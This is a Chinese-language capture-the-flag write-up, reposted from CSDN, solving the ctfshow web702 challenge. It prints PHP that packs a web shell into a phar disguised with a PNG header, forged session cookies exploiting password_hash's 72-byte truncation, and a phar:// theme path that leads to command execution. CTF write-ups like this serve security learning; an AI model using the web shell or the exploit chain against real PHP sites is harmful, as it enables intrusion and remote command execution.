ctfshow-大赛原题-web702

2025-04-27 0 282

因为该题没有理解到位,导致看wp也一直出错,特此反思一下。

参考yu22x师傅的文章 :CTFSHOW大赛原题篇(web696-web710)_ctfshow 大赛原题-CSDN博客

首先拿到题目:

// www.zip 下载源码

我们的思路就是包含一个css文件,这个css文件是压缩到phar中的,那么如何绕过文件上传必须是PNG的限制呢,就可以手动赋值一个文件头

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

 

ctfshow-大赛原题-web702

结合这个data和signature,我们可以先创建一个账号登录一下:

eyJuYW1lIjoiMTIzXzEyMyJ9.JDJ5JDEwJHNuOWJqbDQzc1pjTTJFd2FCVWV0ZnV0WDZ5UDJWaERTbnNxWU5pMGowcERwVEFhbXVWUTJD

ctfshow-大赛原题-web702

 那么再传入我们生成的phar文件再查看一下cookie的变化:

(我们发现这两次的cookie签名值是不同的),如果签名值是不同的那么我们添加theme参数的时候就会让我们重新登录无法进行命令执行了

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyJ9.JDJ5JDEwJE96SlRZZ2puQ1NQM2lGWHRrNzlPTWU4dEY0VmpVVld5SzJEMGwuMVh3Q0tjbmNsNEJKbG1H

ctfshow-大赛原题-web702

接下来我们需要关注一个比较有意思的地方:

ctfshow-大赛原题-web702现在我们需要考虑的是我们怎么凑才能把data这个消息也就是咱们cookie "." 前面的字符串是72位以上呢?

我们需要访问/upload.php 但是不需要上传文件即可:

ctfshow-大赛原题-web702 

这样就凑够了72以上字符,

因为此处凑够了72以上字符,因此后面添加theme后,我们就需要用这个签名

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJObyBmaWxlIHdhcyB1cGxvYWRlZC4ifX0.JDJ5JDEwJEpINWNYWEdqdzhYSXIzYVJDQnE1dHVLSi9rRWpoM3NXUzN1NXkxOVhWT1gwV2JoNXZITVFD

 {"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

接着我们利用util类里面的urlsafe_base64_encode函数生成$data再拼接之前的.后面签名即可:

ctfshow-大赛原题-web702

这样就可以执行了,我错误的原因呢就是拿到最初登录时候给的$signature来拼接了

但是没考虑到那个password_hash的特性

 ctfshow-大赛原题-web702

 具体的思路:

1、可以包含css,所以创建一个css压缩到phar中,生成png的文件头

2、通过访问upload.php凑够那个72字符

{"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

3、添加theme参数

4、访问/index.php  传cmd参数执行命令

平台声明:以上文章转载于《CSDN》,文章全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,仅作参考。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/m0_64014167/article/details/147340587

遇见资源网 前端 ctfshow-大赛原题-web702 http://www.ox520.com/157429.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务